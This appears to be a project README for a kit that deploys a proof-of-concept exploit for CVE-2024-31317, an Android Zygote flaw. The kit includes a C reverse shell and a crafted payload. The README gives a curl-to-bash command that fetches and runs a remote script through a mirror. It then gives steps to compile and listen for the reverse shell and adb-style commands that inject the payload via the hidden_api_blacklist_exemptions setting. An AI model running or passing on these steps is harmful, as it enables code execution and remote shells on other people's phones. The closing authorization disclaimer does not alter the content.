
A deployment tool for CVE-2024-31317 proof-of-concept exploit targeting Android 9 through 13 devices.
CVE-2024-31317-PoC-Deployer is an automated deployment script for quickly generating and configuring all the files required for exploiting CVE-2024-31317. This vulnerability affects Android 9 through 13 devices, allowing privilege escalation and arbitrary code execution via the Zygote process.
reverse_shell.c - C language reverse shell programpayload.txt - Specially crafted exploit payloadcompile.sh - Automatic compilation scriptREADME.txt - Detailed usage instructionsCVE-2024-31317.txt - Vulnerability technical analysis documentRun the remote deployment script:
pkg install -y curl ; bash -c "$(curl -L https://ghfast.top/https://github.com/Webldix/CVE-2024-31317-PoC-Deployer/blob/main/Android_Zygote_Research_Kit.sh)"
Compile the reverse shell:
sh compile.sh
Run the reverse shell listener:
sh reverse_shell
payload.txt to /data/local/tmp/ on the target devicexxx.xxx.xxx in payload.txt with your listener server IPam force-stop com.android.settings
cd /data/local/tmp/
settings put global hidden_api_blacklist_exemptions "$(cat payload.txt)"
am start -n com.android.settings/.Settings
settings put global hidden_api_blacklist_exemptions "null"
This tool is intended solely for legitimate security testing and research purposes. Explicit authorization from the target system must be obtained before use. Unauthorized use may violate the law. The developer is not responsible for any misuse.
This project is licensed under the MIT License - see the LICENSE file for details.